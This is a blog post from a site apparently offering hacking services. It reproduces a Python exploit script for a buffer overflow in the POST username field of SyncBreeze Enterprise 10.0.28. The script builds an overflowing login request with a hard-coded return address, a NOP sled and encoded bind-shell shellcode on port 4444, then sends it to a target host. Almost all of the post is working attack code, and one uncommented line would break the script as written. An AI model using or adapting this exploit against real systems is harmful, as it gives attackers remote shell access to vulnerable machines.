Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86395762

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: [SyncBreeze POST username overflow]
# Date: [30-Sep-2017]
# Exploit Author: [Owais Mehtab]
# Vendor Homepage: [http://www.syncbreeze.com]
# Software Link: [http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe]
# Version: [10.0.28]
# Tested on: [Windows 7]

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 1000
# jmp = 10 09 0c 83 libspp.dll
# bad char = 00 0A 0D 25 26 2B 3D

bind shell on port 4444
buf =  ""
buf += "\xb8\x3b\xcc\xbe\xaa\xdb\xd2\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x53\x31\x43\x12\x83\xc3\x04\x03\x78\xc2\x5c"
buf += "\x5f\x82\x32\x22\xa0\x7a\xc3\x43\x28\x9f\xf2\x43\x4e"
buf += "\xd4\xa5\x73\x04\xb8\x49\xff\x48\x28\xd9\x8d\x44\x5f"
buf += "\x6a\x3b\xb3\x6e\x6b\x10\x87\xf1\xef\x6b\xd4\xd1\xce"
buf += "\xa3\x29\x10\x16\xd9\xc0\x40\xcf\x95\x77\x74\x64\xe3"
buf += "\x4b\xff\x36\xe5\xcb\x1c\x8e\x04\xfd\xb3\x84\x5e\xdd"
buf += "\x32\x48\xeb\x54\x2c\x8d\xd6\x2f\xc7\x65\xac\xb1\x01"
buf += "\xb4\x4d\x1d\x6c\x78\xbc\x5f\xa9\xbf\x5f\x2a\xc3\xc3"
buf += "\xe2\x2d\x10\xb9\x38\xbb\x82\x19\xca\x1b\x6e\x9b\x1f"
buf += "\xfd\xe5\x97\xd4\x89\xa1\xbb\xeb\x5e\xda\xc0\x60\x61"
buf += "\x0c\x41\x32\x46\x88\x09\xe0\xe7\x89\xf7\x47\x17\xc9"
buf += "\x57\x37\xbd\x82\x7a\x2c\xcc\xc9\x12\x81\xfd\xf1\xe2"
buf += "\x8d\x76\x82\xd0\x12\x2d\x0c\x59\xda\xeb\xcb\x9e\xf1"
buf += "\x4c\x43\x61\xfa\xac\x4a\xa6\xae\xfc\xe4\x0f\xcf\x96"
buf += "\xf4\xb0\x1a\x02\xfc\x17\xf5\x31\x01\xe7\xa5\xf5\xa9"
buf += "\x80\xaf\xf9\x96\xb1\xcf\xd3\xbf\x5a\x32\xdc\xae\xc6"
buf += "\xbb\x3a\xba\xe6\xed\x95\x52\xc5\xc9\x2d\xc5\x36\x38"
buf += "\x06\x61\x7e\x2a\x91\x8e\x7f\x78\xb5\x18\xf4\x6f\x01"
buf += "\x39\x0b\xba\x21\x2e\x9c\x30\xa0\x1d\x3c\x44\xe9\xf5"
buf += "\xdd\xd7\x76\x05\xab\xcb\x20\x52\xfc\x3a\x39\x36\x10"
buf += "\x64\x93\x24\xe9\xf0\xdc\xec\x36\xc1\xe3\xed\xbb\x7d"
buf += "\xc0\xfd\x05\x7d\x4c\xa9\xd9\x28\x1a\x07\x9c\x82\xec"
buf += "\xf1\x76\x78\xa7\x95\x0f\xb2\x78\xe3\x0f\x9f\x0e\x0b"
buf += "\xa1\x76\x57\x34\x0e\x1f\x5f\x4d\x72\xbf\xa0\x84\x36"
buf += "\xcf\xea\x84\x1f\x58\xb3\x5d\x22\x05\x44\x88\x61\x30"
buf += "\xc7\x38\x1a\xc7\xd7\x49\x1f\x83\x5f\xa2\x6d\x9c\x35"
buf += "\xc4\xc2\x9d\x1f"


crash = "A" * 780 + "\x83\x0c\x09\x10" + "\x90"*16 + buf

fuzz="username="+crash+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.211.149\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.211.149/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(fuzz))+"\r\n"
buffer+="\r\n"
buffer+=fuzz

expl = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.211.149", 80))
expl.send(buffer)
expl.close()